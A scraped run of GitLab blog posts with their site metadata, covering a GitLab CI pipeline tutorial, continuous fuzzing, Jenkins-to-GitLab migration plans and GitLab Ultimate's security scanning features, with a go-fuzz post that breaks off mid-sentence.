3.1?\n\nWhy do we need Ruby at all? Oh, GitLab.com uses Docker images to [run our builds](/blog/shared-runners/), and [by default](https://docs.gitlab.com/ee/user/gitlab_com/#shared-runners) it uses the [`ruby:3.1`](https://hub.docker.com/_/ruby/) image. For sure, this image contains many packages we don't need. After a minute of Googling, we figure out that there's an image called [`alpine`](https://hub.docker.com/_/alpine/), which is an almost blank Linux image.\n\nOK, let's explicitly specify that we want to use this image by adding `image: alpine` to `.gitlab-ci.yml`.\n\nNow we're talking! We shaved nearly three minutes off:\n\n![Build speed improved](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/speed.png)\n\nIt looks like there are a lot of public images around:\n- [mysql](https://hub.docker.com/_/mysql/)\n- [Python](https://hub.docker.com/_/python/)\n- [Java](https://hub.docker.com/_/java/)\n- [php](https://hub.docker.com/_/php/)\n\nSo we can just grab one for our technology stack. It makes sense to specify an image that contains no extra software because it minimizes download time.\n\n## Dealing with complex scenarios\n\nSo far, so good. However, let's suppose we have a new client who wants us to package our app into `.iso` image instead of `.gz`. Since CI does all the work, we can just add one more job to it. ISO images can be created using the [mkisofs](http://www.w3big.com/linux/linux-comm-mkisofs.html) command. Here's how our config should look:\n\n```yaml\nimage: alpine\n\nstages:\n  - compile\n  - test\n  - package\n\n# ... \"compile\" and \"test\" jobs are skipped here for the sake of compactness\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\nNote that job names shouldn't necessarily be the same. In fact, if they were the same, it wouldn't be possible to make the jobs run in parallel inside the same stage of the software development process. Hence, think of same names of jobs and stages as coincidence.\n\nAnyhow, the build is failing:\n\n![Failed build because of missing mkisofs](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/mkisofs.png)\n\nThe problem is that `mkisofs` is not included in the `alpine` image, so we need to install it first.\n\n## Dealing with missing software/packages\n\nAccording to the [Alpine Linux website](https://pkgs.alpinelinux.org/contents?file=mkisofs&path=&name=&branch=edge&repo=&arch=) `mkisofs` is a part of the `xorriso` and `cdrkit` packages. These are the magic commands that we need to run to install a package:\n\n```bash\necho \"ipv6\" >> /etc/modules  # enable networking\napk update                   # update packages list\napk add xorriso              # install package\n```\n\nFor CI, these are just like any other commands. The full list of commands we need to pass to `script` section should look like this:\n\n```yml\nscript:\n- echo \"ipv6\" >> /etc/modules\n- apk update\n- apk add xorriso\n- mkisofs -o ./packaged.iso ./compiled.txt\n```\n\nHowever, to make it semantically correct, let's put commands related to package installation in `before_script`. Note that if you use `before_script` at the top level of a configuration, then the commands will run before all jobs. In our case, we just want it to run before one specific job.\n\n## Directed Acyclic Graphs: Get faster and more flexible pipelines\n\nWe defined stages so that the package jobs will run only if the tests passed. What if we want to break the stage sequencing a bit, and run a few jobs earlier, even if they are defined in a later stage? In some cases, the traditional stage sequencing might slow down the overall pipeline execution time.\n\nImagine that our test stage includes a few more heavy tests that take a lot of time to execute, and that those tests are not necessarily related to the package jobs. In this case, it would be more efficient if the package jobs don't have to wait for those tests to complete before they can start. This is where Directed Acyclic Graphs (DAG) come in: To break the stage order for specific jobs, you can define job dependencies which will skip the regular stage order.\n\nGitLab has a special keyword `needs`, which creates dependencies between jobs, and allows jobs to run earlier, as soon as their dependent jobs complete.\n\nIn the below example, the pack jobs will start running as soon as the test job completes, so if, in future, someone adds more tests in the test stage, the package jobs will start to run before the new test jobs complete:\n\n```yaml\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\nOur final version of `.gitlab-ci.yml`:\n\n```yaml\nimage: alpine\n\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  before_script:\n      - echo \"Hello  \" | tr -d \"\\n\" > file1.txt\n      - echo \"world\" > file2.txt\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npack-gz:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.gz\n\npack-iso:\n  stage: package\n  before_script:\n  - echo \"ipv6\" >> /etc/modules\n  - apk update\n  - apk add xorriso\n  script:\n  - mkisofs -o ./packaged.iso ./compiled.txt\n  needs: [\"test\"]\n  artifacts:\n    paths:\n    - packaged.iso\n```\n\nWow, it looks like we have just created a pipeline! We have three sequential stages, the jobs `pack-gz` and `pack-iso`, inside the `package` stage, are running in parallel:\n\n![Pipelines illustration](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/pipeline.png)\n\n## Elevating your pipeline\n\nHere is how to elevate your pipeline.\n\n### Incorporating automated testing into CI pipelines\n\nIn DevOps, a key software development strategy rule is making really great apps with amazing user experience. So, let's add some tests in our CI pipeline to catch bugs early in the entire process. This way, we fix issues before they get big and before we move on to work on a new project.\n\nGitLab makes our lives easier by offering out-of-the-box templates for various [tests](https://docs.gitlab.com/ee/ci/testing/). All we need to do is include these templates in our CI configuration.\n\nIn this example, we will include [accessibility testing](https://docs.gitlab.com/ee/ci/testing/accessibility_testing.html):\n\n```yaml\nstages:\n  - accessibility\n\nvariables:\n  a11y_urls: \"https://about.gitlab.com https://www.example.com\"\n\ninclude:\n  - template: \"Verify/Accessibility.gitlab-ci.yml\"\n```\n\nCustomize the `a11y_urls` variable to list the URLs of the web pages to test with [Pa11y](https://pa11y.org/) and [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html).\n\n```yaml\n   include:\n   - template: Jobs/Code-Quality.gitlab-ci.yml\n```\n\nGitLab makes it easy to see the test report right in the merge request widget area. Having the code review, pipeline status, and test results in one spot makes everything smoother and more efficient.\n\n![Accessibility report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_10.56.41.png)\n\u003Ccenter>\u003Ci>Accessibility merge request widget\u003C/i>\u003C/center>\u003Cp>\u003C/p>\n\n![Code quality widget in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.00.25.png)\n\u003Ccenter>\u003Ci>Code quality merge request widget\u003C/i>\u003C/center>\n\n### Matrix builds\n\nIn some cases, we will need to test our app in different configurations, OS versions, programming language versions, etc. For those cases, we'll use the [parallel:matrix](https://docs.gitlab.com/ee/ci/yaml/#parallelmatrix) build to test our application across various combinations in parallel using one job configuration. In this blog, we'll test our code with different Python versions using the matrix keyword.\n\n```yaml\npython-req:\n  image: python:$VERSION\n  stage: lint\n  script:\n    - pip install -r requirements_dev.txt\n    - chmod +x ./build_cpp.sh\n    - ./build_cpp.sh\n  parallel:\n    matrix:\n      - VERSION: ['3.8', '3.9', '3.10', '3.11']   # https://hub.docker.com/_/python\n```\n\nDuring pipeline execution, this job will run in parallel four times, each time using different Python image as shown below:\n\n![Matrix job running](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-02_at_11.12.48.png)\n\n### Unit testing\n\n#### What are unit tests?\n\nUnit tests are small, targeted tests that check individual components or functions of software to ensure they work as expected. They are essential for catching bugs early in the software development process and verifying that each part of the code performs correctly in isolation.\n\nExample: Imagine you're developing a calculator app. A unit test for the addition function would check if 2 + 2 equals 4. If this test passes, it confirms that the addition function is working correctly.\n\n#### Unit testing best practices\n\nIf the tests fail, the pipeline fails and users get notified. The developer needs to check the job logs, which usually contain thousands of lines, and see where the tests failed so that they can fix them. This check is time-consuming and inefficient.\n\nYou can configure your job to use [unit test reports](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html). GitLab displays reports on the merge request and on the pipelines details page, making it easier and faster to identify the failure without having to check the entire log.\n\n##### JUnit test report\n\nThis is a sample JUnit test report:\n\n![pipelines JUnit test report v13 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674097/Blog/Content%20Images/pipelines_junit_test_report_v13_10.png){: .shadow.center}\n\n### Integration and end-to-end testing strategies\n\nIn addition to our regular development routine, it's super important to set up a special pipeline just for integration and end-to-end testing. This checks that all the different parts of our code work together smoothly, including those [microservices](https://about.gitlab.com/topics/microservices/), UI testing, and any other components.\n\nWe run these tests [nightly](https://docs.gitlab.com/ee/ci/pipelines/schedules.html). We can set it up so that the [results automatically get sent to a special Slack channel](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html#notification-events). This way, when developers come in the next day, they can quickly spot any issues. It's all about catching and fixing problems early on!\n\n### Test environment\n\nFor some of the tests, we may need a test environment to properly test our apps. With GitLab CI/CD, we can automate the deployment of testing environments and save a ton of time. Since this blog mostly focuses on CI, I won't elaborate on this, but you can refer to this section in the [GitLab documentation](https://docs.gitlab.com/ee/topics/release_your_application.html).\n\n## Implementing security scans in CI pipelines\n\nHere are the ways to implement security scans in CI pipelines.\n\n### SAST and DAST integration\n\nWe're all about keeping our code safe. If there are any vulnerabilities in our latest changes, we want to know ASAP. That's why it's a good idea to add security scans to your pipeline. They'll check the code with every commit and give you a heads up about any risks. We've put together a product tour to walk you through adding scans, including static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) and dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), to your CI pipeline.\n\n__Click__ the image below to start the tour.\n\n[![Scans product tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.44.42.png)](https://gitlab.navattic.com/gitlab-scans)\n\nPlus, with AI, we can dig even deeper into vulnerabilities and get suggestions on how to fix them. Check out this demo for more info.\n\n__Click__ the image below to start the tour.\n\n[![product tour explain vulnerability ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.50.24.png)](https://tech-marketing.gitlab.io/static-demos/pt-explain-vulnerability.html)\n\n## Recap\n\nThere's much more to cover but let's stop here for now. All examples were made intentionally trivial so that you could learn the concepts of GitLab CI without being distracted by an unfamiliar technology stack. Let's wrap up what we have learned:\n\n1. To delegate some work to GitLab CI you should define one or more [jobs](https://docs.gitlab.com/ee/ci/jobs/) in `.gitlab-ci.yml`.\n2. Jobs should have names and it's your responsibility to come up with good ones.\n3. Every job contains a set of rules and instructions for GitLab CI, defined by [special keywords](#keywords).\n4. Jobs can run sequentially, in parallel, or out of order using [DAG](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/index.html).\n5. You can pass files between jobs and store them in build artifacts so that they can be downloaded from the interface.\n6. Add [tests and security scans](https://docs.gitlab.com/ee/development/integrations/secure.html) to the CI pipeline to ensure the quality and security of your app.\n\nBelow are more formal descriptions of the terms and keywords we used, as well as links to the relevant documentation.\n\n### Keyword descriptions and documentation\n\n{: #keywords}\n\n| Keyword/term       | Description |\n|---------------|--------------------|\n| [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/) | File containing all definitions of how your project should be built |\n| [script](https://docs.gitlab.com/ee/ci/yaml/#script)        | Defines a shell script to be executed |\n| [before_script](https://docs.gitlab.com/ee/ci/yaml/#before_script) | Used to define the command that should be run before (all) jobs |\n| [image](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-image) | Defines what Docker image to use |\n| [stages](https://docs.gitlab.com/ee/ci/yaml/#stages)         | Defines a pipeline stage (default: `test`) |\n| [artifacts](https://docs.gitlab.com/ee/ci/yaml/#artifacts)     | Defines a list of build artifacts |\n| [artifacts:expire_in](https://docs.gitlab.com/ee/ci/yaml/#artifactsexpire_in) | Used to delete uploaded artifacts after the specified time |\n| [needs](https://docs.gitlab.com/ee/ci/yaml/#needs) | Used to define dependencies between jobs and allows to run jobs out of order |\n| [pipelines](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) | A pipeline is a group of builds that get executed in stages (batches) |\n\n## More on CI/CD\n\n- [GitLab’s guide to CI/CD for beginners](/blog/beginner-guide-ci-cd/)\n- [Get faster and more flexible pipelines with a Directed Acyclic Graph](/blog/directed-acyclic-graph/)\n- [Decrease build time with custom Docker image](http://beenje.github.io/blog/posts/gitlab-ci-and-conda/)\n- [Introducing the GitLab CI/CD Catalog Beta](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/)\n\n## FAQ\n\n### How do you choose between running CI jobs sequentially vs. in parallel?\n\nConsiderations for choosing between running CI jobs sequentially or in parallel include job dependencies, resource availability, execution times, potential interference, test suite structure, and cost considerations. For example, if you have a build job that must finish before a deployment job can start, you would run these jobs sequentially to ensure the correct order of execution. On the other hand, tasks such as unit testing and integration testing can typically run in parallel since they are independent and don't rely on each other's completion.\n\n### What are directed Acyclic Graphs in GitLab CI, and how do they improve pipeline flexibility?\n\nA Directed Acyclic Graph (DAG) in GitLab CI breaks the linear order of pipeline stages. It lets you set dependencies between jobs, so jobs in later stages start as soon as earlier stage jobs finish. This reduces overall pipeline execution time, improves efficiency, and lets some jobs complete earlier than in a regular order.\n\n### What is the importance of choosing the right Docker image for CI jobs in GitLab?\n\nGitLab utilizes Docker images to execute jobs. The default image is ruby:3.1. Depending on your job's requirements, it's crucial to choose the appropriate image. Note that jobs first download the specified Docker image, and if the image contains additional packages beyond what's necessary, it will increase download and execution times. Therefore, it's important to ensure that the chosen image contains only the packages essential for your job to avoid unnecessary delays in execution.\n\n## Next steps\n\nAs a next step and to further modernize your software development practice, check out the [GitLab CI/CD Catalog](https://docs.gitlab.com/ee/architecture/blueprints/ci_pipeline_components/) to learn how to standardize and reuse CI/CD components.",[1384,696],{"slug":20456,"featured":6,"template":678},"basics-of-gitlab-ci-updated","content:en-us:blog:basics-of-gitlab-ci-updated.yml","Basics Of Gitlab Ci Updated","en-us/blog/basics-of-gitlab-ci-updated.yml","en-us/blog/basics-of-gitlab-ci-updated",{"_path":20462,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20463,"content":20468,"config":20473,"_id":20475,"_type":16,"title":20476,"_source":17,"_file":20477,"_stem":20478,"_extension":20},"/en-us/blog/why-continuous-fuzzing",{"title":20464,"description":20465,"ogTitle":20464,"ogDescription":20465,"noIndex":6,"ogImage":18477,"ogUrl":20466,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20466,"schema":20467},"Why (Continuous) Fuzzing","Learn what fuzzing is, what's so good at fuzzing code continuously and why to do it here!","https://about.gitlab.com/blog/why-continuous-fuzzing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why (Continuous) Fuzzing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yevgeny Pats\"}],\n        \"datePublished\": \"2020-12-10\",\n      }",{"title":20464,"description":20465,"authors":20469,"heroImage":18477,"date":20452,"body":20471,"category":18484,"tags":20472},[20470],"Yevgeny Pats","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nIn this post we will focus on why continuous fuzzing is needed and what are the challenges in implementing continuous fuzzing.\nPrevious posts/papers regarding why fuzzing in general is important as well as why it’s a good idea even to integrate\nit as part of the Go toolchain can be found [here](https://docs.google.com/document/d/1N-12_6YBPpF9o4_Zys_E_ZQndmD06wQVAM_0y9nZUIE) (written by Dmitry Vyukov and Romain Baugue – highly recommended, the link talks about go but concepts can be applied to other languages).\n\n## Fuzzing Quick Recap?\n\nEssentially fuzzing consist of two types of jobs:\n\n- Fuzzing – A job that can run infinitely. This job automatically generates interesting test-cases that cover more paths, as well as monitors for crashes and other memory related problems.\n- Regression – Run the fuzzer through a set of specific test-cases. Usually these were generated by the previously mentioned long running jobs. Regression jobs are generally very short.\n\n\n## Continuous Fuzzing Challenges\n\nThere are a few challenges/questions that arise from how to integrate fuzzing to the current CI.\nWe will walk through some of them as there are a lot of other open questions that really depends on the development workflow and the specific project.\n\n**Challenge 1 –  Long Running Jobs**: Fuzzing is a long-running (infinite) job unlike a CI that we try to keep as short as possible to provide fast feedback for commits/MRs.\n\n**Solution 1 – Async Jobs**: This where we need to spawn a different server or use a platform like GitLab to run the fuzzers [asynchronously](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#continuous-fuzzing-long-running-async-fuzzing-jobs).\nThe platform will notify the administrators, developers, or the relevant security people of any new vulnerabilities that the fuzzers find. In GitLab, these will be reported on our [Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/). This could take days or months of running continuously.\n\n\n**Challenge 2 – Many Targets * Many Versions = Lots of time and money**: Which versions should should you fuzz? We need to decide wisely which versions to fuzz, as blindly fuzzing all possible versions in a project infinitely for many targets will cost a lot of money and compute resources.\n\n**Solution 2 – Master + Stable**: One approach that we saw popular with users is fuzzing the development branch (master) and release branch. The development branch is fuzzed continuously and the fuzzer is updated every time new code is pushed to master.\nThe updated fuzzers check the additional code but keeps the corpus from previous runs.\nThis way the fuzzers can essentially always continue from where they stopped and only work on the additional code.\nGitLab helps with managing the corpus and keeping it in minimised state.\n\n**Challenge 3 – Learning from old mistakes**: Once we setup continues fuzzing we aggregate very valuable test-cases and crashes that we fix along the way.\nWe would love to use all those precious test-cases to check every MR before it get’s merged.\n\n**Solution 3 – Regression Fuzz Tests**: For every MR just like unit-test we run the fuzzers through all the generated test-cases and the fixed crashes which is usually a very quick process which fits a classic CI.\nGitLab helps running the fuzzers with the aggregated corpus from previous job, fail the CI and alert the developer immediately via the security dashboard.\nShort regresion can also be combined with short fuzz tests runs that run inline with the CI to help find also new bugs in MRs.\n\n## Summary\n\nThis was a quick walkthrough of the some of the challenges of integrating continuous fuzzing to projects from our experience.\n\nCheck out our [full documentation](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) and the [example repositories](https://gitlab.com/gitlab-org/security-products/demos/coverage-fuzzing)\nand try adding fuzz testing to your own repos!\n",[676,674,942],{"slug":20474,"featured":6,"template":678},"why-continuous-fuzzing","content:en-us:blog:why-continuous-fuzzing.yml","Why Continuous Fuzzing","en-us/blog/why-continuous-fuzzing.yml","en-us/blog/why-continuous-fuzzing",{"_path":20480,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20481,"content":20486,"config":20491,"_id":20493,"_type":16,"title":20494,"_source":17,"_file":20495,"_stem":20496,"_extension":20},"/en-us/blog/migrate-from-jenkins-update",{"title":20482,"description":20483,"ogTitle":20482,"ogDescription":20483,"noIndex":6,"ogImage":19205,"ogUrl":20484,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20484,"schema":20485},"How we're improving migrations from Jenkins to GitLab CI/CD","Learn more about our Jenkins Importer category and see what's in the works for easier Jenkins migrations.","https://about.gitlab.com/blog/migrate-from-jenkins-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we're improving migrations from Jenkins to GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-12-08\",\n      }",{"title":20482,"description":20483,"authors":20487,"heroImage":19205,"date":20488,"body":20489,"category":8943,"tags":20490},[18462],"2020-12-08","\nTeams that want to migrate from Jenkins to [GitLab CI/CD](/topics/ci-cd/) can run into roadblocks in the migration process. After all, going from a complicated plugin environment to GitLab CI/CD isn't exactly an apples to apples comparison. Teams that want to make the switch to GitLab will need help to ease the transition – so what are we doing to make that transition easier?\n\nWe created a Jenkins Importer category direction to bring together documentation and issues around improving the Jenkins migration process. We'll go over a few of the projects that are in progress and our vision for the future of Jenkins migrations.\n\n## What is the Jenkins Importer category?\n\nThe [Jenkins Importer](/direction/verify/jenkins_importer/) category is a collection of tools and documentation to help teams migrate from their Jenkins environment to GitLab CI/CD as easily as possible. Since we're a company that works [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default), we use these category direction pages for information related to upcoming products, features, and functionality, not necessarily for purchasing or planning purposes.\n\nUltimately, our goal is to make at least 80% of the automated tasks easy. Having a Jenkins Importer category helps us organize issues and epics around helping unblock teams from migrating to GitLab CI/CD. This category is currently at a \"minimal\" [level of maturity](/direction/maturity/), meaning the features might be available in the product but are not necessarily in production yet.\n\nWith our work being public, you can see our progress and make contributions or comments on these issues.\n\n## Jenkins Importer: Top priority\n\nOur main epic is about [implementing a wrapper](https://gitlab.com/groups/gitlab-org/-/epics/2779) around the Jenkinsfile Runner. A wrapper is all about creating a minimum viable change (MVC) that will enable teams to run their Jenkins stack within GitLab while they complete their migration.\n\nConverting a complicated Jenkins enterprise environment into GitLab can be especially complex. For some Jenkins users, they may have thousands of pipelines that need to be converted. The idea of a wrapper came from [a comment](https://gitlab.com/groups/gitlab-org/-/epics/2735#note_295172334) on a different issue around improving our [Jenkins migration documentation](https://docs.gitlab.com/ee/ci/migration/jenkins.html). This process can be used to run Jenkins builds in GitLab CI while migrating Jenkinsfiles to the GitLab CI/CD syntax.\n\n## Migrating from Jenkins: Other works in progress\n\nAs we continue to receive feedback from the community and [conduct research](https://gitlab.com/gitlab-org/ux-research/-/issues/765) on use cases, those findings will impact the maturity of this category. While we're focusing on a wrapper because it will have the most initial value, we have other vision items for the Jenkins Importer category as well, which are summarized below.\n\n### Importer for declarative and imperative Jenkins configuration\n\nThis [first issue is a proposal to write a tool](https://gitlab.com/gitlab-org/gitlab/-/issues/208276) that can read the newer declarative or imperative syntax (as opposed to JenkinsFiles, a Groovy DSL) and convert it to a valid `.gitlab-ci.yml` file.\n\n### Importer for scripted Jenkins configuration\n\nThis [second issue is a proposal for a translator](https://gitlab.com/gitlab-org/gitlab/-/issues/208275) that can turn scripted Jenkinsfiles written in Groovy into a YAML syntax.\n\nAt GitLab, everyone can contribute. If this category interests you and you'd like to know how we're making migrations easier, feel free to comment on the public issues. If you're interested in helping GitLab test the Jenkins wrapper, join our [public testing issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215675) for instructions and to provide your feedback.\n\nLearn more about the benefits of single application CI/CD and see how GitLab and Jenkins compare head-to-head.\n\nCover image by [Kenrick Mills](https://unsplash.com/@kenrickmills?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/migrate?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[1384,1385],{"slug":20492,"featured":6,"template":678},"migrate-from-jenkins-update","content:en-us:blog:migrate-from-jenkins-update.yml","Migrate From Jenkins Update","en-us/blog/migrate-from-jenkins-update.yml","en-us/blog/migrate-from-jenkins-update",{"_path":20498,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20499,"content":20504,"config":20508,"_id":20510,"_type":16,"title":20511,"_source":17,"_file":20512,"_stem":20513,"_extension":20},"/en-us/blog/security-features-in-ultimate",{"title":20500,"description":20501,"ogTitle":20500,"ogDescription":20501,"noIndex":6,"ogImage":15110,"ogUrl":20502,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20502,"schema":20503},"Tired of afterthought security? Take a fresh look at GitLab Ultimate","Security may not be the first thing that comes to mind when thinking of our DevOps platform, but we’re going to make the case it should be. Here’s a look at some of the too-often-overlooked security features in GitLab Ultimate.","https://about.gitlab.com/blog/security-features-in-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tired of afterthought security? Take a fresh look at GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2020-12-08\",\n      }",{"title":20500,"description":20501,"authors":20505,"heroImage":15110,"date":20488,"body":20506,"category":674,"tags":20507},[12479],"At GitLab, we have worked hard to make [application security testing](/topics/devsecops/) a natural by-product of software development. We started with the developer, bringing scan results into their native workflow, then we added a dashboard for the security pro. We acquired Gemnasium and most recently [Peach Tech and Fuzzit](/blog/fuzz-testing/). We have a board goal to be a world-class security product and have allocated just under 25% of our R&D budget to these capabilities. \n\nWe know our SAST, dependency, container, and other scanners are great but we’d also bought into the idea that people choose to use our [DevOps platform](/solutions/devops-platform/) largely because of CI or SCM and our security is just an added bonus. \n\nBut it seems we are our own worst critic, especially on how we determine product maturity. Data points include:\n\n* The technology review site G2 shows [GitLab’s static application security testing (SAST) is top rated](https://www.g2.com/categories/static-application-security-testing-sast#grid). \n* As of Dec. 4, 2020, GitLab has an Overall Rating of 4.6 out of 5 in the Application Security Testing market on [Gartner Peer Insights](https://www.gartner.com/reviews/market/application-security-testing/vendor/gitlab/product/gitlab), based on 32 reviews.\n  * _Gartner Peer Insights reviews constitute the subjective opinions of individual end users based on their own experiences and do not represent the views of Gartner or its affiliates._\n* Dev-Insider 2020 Platinum award for [best code and composition analysis](https://www.storage-insider.de/die-leser-haben-entschieden-die-gewinner-der-it-awards-2020-a-973498/).\n\nAnd customers are noticing too:\n\n* “GitLab Secure replaced Veracode, Checkmarx, and Fortify in my DevOps toolchain. GitLab scans faster, is more accurate, and doesn’t require my developers to learn new tools.” \t\n\n* “GitLab Secure enables us to ship faster. Our other scanner tools could take up to a day to finish scanning whereas GitLab scans finish in as little a few minutes.” \n\nHere’s a look at other built-in security features in Ultimate for self hosted and Gold for SaaS.\n\n## Vulnerability scans (no assembly required)\n\nIf there are two truths in security, it’s these: The more you scan, the less risk you will have, and it’s cheaper to find and fix vulnerabilities in development than later in the lifecycle. Developers need access to that data in their workflow. GitLab Ultimate/Gold offers comprehensive scanning, out of the box with no integration required: [dynamic](https://docs.gitlab.com/ee/user/application_security/dast/) and [static](https://docs.gitlab.com/ee/user/application_security/sast/) (now including mobile apps), [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), [API scanning](https://docs.gitlab.com/ee/user/application_security/dast/#api-scan), and [fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/), along with scanning for [secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) and [license compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/). All of these scans are built into the workflow with results presented in the MR pipeline – meaning busy developers don’t have to go hunting for results. \n\nThe scans are also easy to apply for security pros. With one click, you can choose what to do via AutoDevOps, or add in third-party scanners via the `ci.yml`. Just start with a [CI job definition](https://docs.gitlab.com/ee/development/integrations/secure.html#job-definition). We’ve even added a handy UX so non-developers can modify the `ci.yml` without coding (add link). By using CI templates you can easily set and apply [security policies](https://docs.gitlab.com/ee/user/application_security/configuration/) for merge approvals and more. You can also [limit security scanning to running offline](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) for highly sensitive environments. \n\n## Comprehensive dashboards\n\nWhile this developer-first perspective will reduce vulnerabilities, they can’t all be fixed on the spot. So our [security dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) capability (included with GitLab Ultimate/Gold) helps security pros manage remaining vulnerabilities. It provides a single source of truth, eliminating translation and friction between development and security, and makes it simple for anyone to see the status of remediation work, who changed what, where and when, and even who approved merge requests across the entire software development lifecycle.\n\nAnd because we know compliance also plays a key role in security, we have a dedicated [compliance dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html) that gathers key data to ensure quick and accurate reporting. \n\n## Container monitoring\n\nDevOps teams taking advantage of the modularity of containers also need a way to keep all the moving parts safe. Gitlab Ultimate offers [container threat monitoring](https://docs.gitlab.com/ee/user/application_security/) in addition to container scanning.\n\n## Integrated fuzz testing\n\nThanks to our acquisition of Peach and FuzzIt, GitLab Ultimate now offers integrated [coverage-guided fuzzing and continuous fuzzing](/topics/devsecops/what-is-fuzz-testing/), adding new types of testing previously unavailable.\n\nCover image by [Zhen Hu](https://unsplash.com/@zhenhu2424) on [Unsplash](https://unsplash.com)\n{: .note}\n",[674,4103,754,232],{"slug":20509,"featured":6,"template":678},"security-features-in-ultimate","content:en-us:blog:security-features-in-ultimate.yml","Security Features In Ultimate","en-us/blog/security-features-in-ultimate.yml","en-us/blog/security-features-in-ultimate",{"_path":20515,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20516,"content":20521,"config":20526,"_id":20528,"_type":16,"title":20529,"_source":17,"_file":20530,"_stem":20531,"_extension":20},"/en-us/blog/how-to-fuzz-go",{"title":20517,"description":20518,"ogTitle":20517,"ogDescription":20518,"noIndex":6,"ogImage":18477,"ogUrl":20519,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20519,"schema":20520},"How to fuzz Go code with go-fuzz continuously","Learn how (and why!) to fuzz Go code","https://about.gitlab.com/blog/how-to-fuzz-go","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to fuzz Go code with go-fuzz continuously\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yevgeny Pats\"}],\n        \"datePublished\": \"2020-12-03\",\n      }",{"title":20517,"description":20518,"authors":20522,"heroImage":18477,"date":20523,"body":20524,"category":18484,"tags":20525},[20470],"2020-12-03","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## What is fuzzing?\n\nFuzzing or fuzz testing is an automated software technique that involves providing semi-random data as\ninput to the test program in order to uncover bugs and crashes.\n\n## Why fuzz Go Code?\n\n[Golang](https://golang.org/) is a safe language and memory corruption issues are a thing of the past so we don’t need to fuzz our code,\nright? Wrong 😃. Any code, and especially code where stability, quality, and coverage are important, is worth fuzzing.\nFuzzing can uncover logical bugs and denial-of-service  in critical components can lead to security issues as well.\n\nAs a reference to almost infinite amount of bugs found with go-fuzz (only the documented one) you can look 